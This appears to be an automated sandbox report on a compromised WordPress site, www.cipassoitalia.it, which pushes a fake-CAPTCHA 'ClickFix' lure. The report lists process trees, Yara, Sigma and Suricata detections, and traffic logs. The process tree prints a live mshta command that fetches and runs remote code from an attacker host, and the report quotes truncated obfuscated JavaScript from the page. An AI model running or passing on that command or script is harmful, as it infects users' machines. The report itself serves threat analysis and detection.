Edit tour

Windows Analysis Report
http://www.cipassoitalia.it/

Overview

General Information

Sample URL:	http://www.cipassoitalia.it/
Analysis ID:	1583836
Infos:

Detection

CAPTCHA Scam ClickFix

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detect drive by download via clipboard copy & paste

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

HTML page contains hidden javascript code

HTML page contains obfuscated script src

Potential browser exploit detected (process start blacklist hit)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Use Short Name Path in Command Line

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6344 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1908,i,14487549043313255646,10754558646077735091,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6640 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.cipassoitalia.it/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

mshta.exe (PID: 8184 cmdline: "C:\Windows\system32\mshta.exe" https://solve.jrqr.org/awjxs.captcha?u=21187cdf-b91f-4f27-aae8-45cec9395e7c # ? ''I am not a robot - reCAPTCHA Verification ID: 3943'' MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

iexplore.exe (PID: 6376 cmdline: "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding MD5: CFE2E6942AC1B72981B3105E22D3224E)

iexplore.exe (PID: 6764 cmdline: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6376 CREDAT:9474 /prefetch:2 MD5: 6F0F06D6AB125A99E43335427066A4A1)

ssvagent.exe (PID: 7392 cmdline: "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new MD5: F9A898A606E7F5A1CD7CFFA8079253A0)

ssvagent.exe (PID: 3728 cmdline: "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new MD5: F9A898A606E7F5A1CD7CFFA8079253A0)

iexplore.exe (PID: 7524 cmdline: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6376 CREDAT:75012 /prefetch:2 MD5: 6F0F06D6AB125A99E43335427066A4A1)

msedge.exe (PID: 1952 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "https://t3.awagama.org/cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3568 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=1968,i,17212161193525190570,5009424471447963821,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7392 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6332 --field-trial-handle=1968,i,17212161193525190570,5009424471447963821,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6200 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6552 --field-trial-handle=1968,i,17212161193525190570,5009424471447963821,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.0.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new, CommandLine: "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new, CommandLine|base64offset|contains: w, Image: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, NewProcessName: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, OriginalFileName: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, ParentCommandLine: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6376 CREDAT:9474 /prefetch:2, ParentImage: C:\Program Files (x86)\Internet Explorer\iexplore.exe, ParentProcessId: 6764, ParentProcessName: iexplore.exe, ProcessCommandLine: "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new, ProcessId: 7392, ProcessName: ssvagent.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Program Files\Internet Explorer\iexplore.exe, ProcessId: 6376, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SecuritySafe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T17:33:40.973021+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49964	188.114.97.3	443	TCP
2025-01-03T17:34:46.475813+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	50108	104.16.124.96	443	TCP

ETPRO MALWARE PowerSploit SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T17:33:19.262961+0100	2814904	1	A Network Trojan was detected	104.21.27.98	443	192.168.2.16	49956	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match

File source: 1.0.pages.csv, type: HTML

Source: https://www.cipassoitalia.it/

HTTP Parser: Base64 decoded: function _0xe073(_0x44773e, _0x22ec1d) { const _0x2ae953 = _0xca40(); return _0xe073 = function (_0x463722, _0x22f07e) { _0x463722 = _0x463722 - (-0x2524 + -0x12a7 + -0x1e * -0x1e7); let _0x404984 = _0x2ae953[_0x463722]; re...

Source: https://www.cipassoitalia.it/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4ZTA3MyhfMHg0NDc3M2UsIF8weDIyZWMxZCkgewogICAgY29uc3QgXzB4MmFlOTUzID0gXzB4Y2E0MCgpOwogICAgcmV0dXJuIF8weGUwNzMgPSBmdW5jdGlvbiAoXzB4NDYzNzIyLCBfMHgyMmYwN2UpIHsKICAgICAgICBfMHg0NjM3MjIgPSBfMHg0NjM3MjIgLSAoLTB4Mj
Source: https://www.cipassoitalia.it/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4ZTA3MyhfMHg0NDc3M2UsIF8weDIyZWMxZCkgewogICAgY29uc3QgXzB4MmFlOTUzID0gXzB4Y2E0MCgpOwogICAgcmV0dXJuIF8weGUwNzMgPSBmdW5jdGlvbiAoXzB4NDYzNzIyLCBfMHgyMmYwN2UpIHsKICAgICAgICBfMHg0NjM3MjIgPSBfMHg0NjM3MjIgLSAoLTB4Mj

Source: https://t3.awagama.org/cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4	HTTP Parser: No favicon
Source: https://t3.awagama.org/cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 40.74.67.245:443 -> 192.168.2.16:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.98:443 -> 192.168.2.16:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.124.96:443 -> 192.168.2.16:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.124.96:443 -> 192.168.2.16:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.80.73:443 -> 192.168.2.16:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.80.73:443 -> 192.168.2.16:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.124.96:443 -> 192.168.2.16:50108 version: TLS 1.2

Source: C:\Program Files\Internet Explorer\iexplore.exe

Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2814904 - Severity 1 - ETPRO MALWARE PowerSploit SSL Cert : 104.21.27.98:443 -> 192.168.2.16:49956

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.16:49964 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.16:50108 -> 104.16.124.96:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.74.67.245
Source: unknown	TCP traffic detected without corresponding DNS query: 40.74.67.245
Source: unknown	TCP traffic detected without corresponding DNS query: 40.74.67.245
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 40.74.67.245
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.75
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Virtualized\C

Jump to behavior

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/grid.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/base.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/layout.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/blog/blog.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postslider/postslider.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons/buttons.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttonrow/buttonrow.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons_fullwidth/buttons_fullwidth.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalogue/catalogue.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/comments/comments.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contentslider/contentslider.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/google_maps/google_maps.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/grid_row/grid_row.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/heading/heading.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
